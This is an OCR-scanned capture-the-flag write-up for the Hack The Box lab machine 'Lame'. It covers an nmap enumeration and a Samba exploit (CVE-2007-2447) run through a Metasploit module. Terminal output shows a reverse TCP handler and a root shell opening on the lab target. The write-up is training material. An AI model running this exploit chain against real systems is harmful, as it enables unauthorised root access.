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SYNOPSIS

Lame is a beginner level machine, requiring only one exploit to obtain root access. It was the first

machine published on Hack The Box and was often the first machine for new users prior to its

retirement.
e Basic knowledge of Linux e |dentifying vulnerable services
e Enumerating ports and services e Exploiting Samba
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Enumeration

Zenmap [— ) @1
Scan Tools Profile Help

Target: 10.10.10.3 v | Profile: |Intense scan v | | Scan

Command: |nmap -T4 -A -v 10.10.10.3

Hosts Il Services | Nmap Output Ports / Hosts | Topology Host Details | Scans

Port  Protocol State | Service Version
05  Host v
4. 10.10.10.3 o 21 tcp open ftp vsftpd 2.3.4
& 22 tcp open  :ssh OpenS5H 4.7pl Debian Bubuntul (protoc
@ 139 tcp open netbios-ssn : Samba smbd 3.X - 4.X (workgroup: WORE
@ 445 top open :netbios-ssn - Samba smbd 3.0.20-Debian (workgroup: W
. Filter Hosts | =B | >

Nmap reveals vsftpd 2.3.4, OpenSSH and Samba. Vsftpd 2.3.4 does have a built-in backdoor,

however it is not exploitable in this instance.
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Exploitation

Exploitation is trivial on this machine. After attempting (and failing) to enter using the “obvious”

vsftpd attack vector, Samba becomes the only target. Using CVE-2007-2447, which conveniently

has a Metasploit module associated with it, will immediately grant a root shell. The user flag can

be obtained from /home/makis/user.txt and the root flag from /root/root.txt

Module: exploit/multi/samba/usermap_script

root@Kkali: ~

File Edit View Search Terminal Help

msf exploit( } = set rhost 10.10.10.3
st == 10.10.10.3
exploit( } = run

Started reverse TCP double handler on 10.10.14.5:4444
Accepted the first client connection...
*] Accepted the second client connection...
Command: echo csGwofTmLBWoNeuO;
] Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket B
B: "csGwoTTmLBWoNeuO\ri\n"
Matching. ..
A is input...

Command shell session 1 opened (10.10.14.5:4444 -= 10.10.10.3:46854) at 2817

-10-10 01:34:57 -0400
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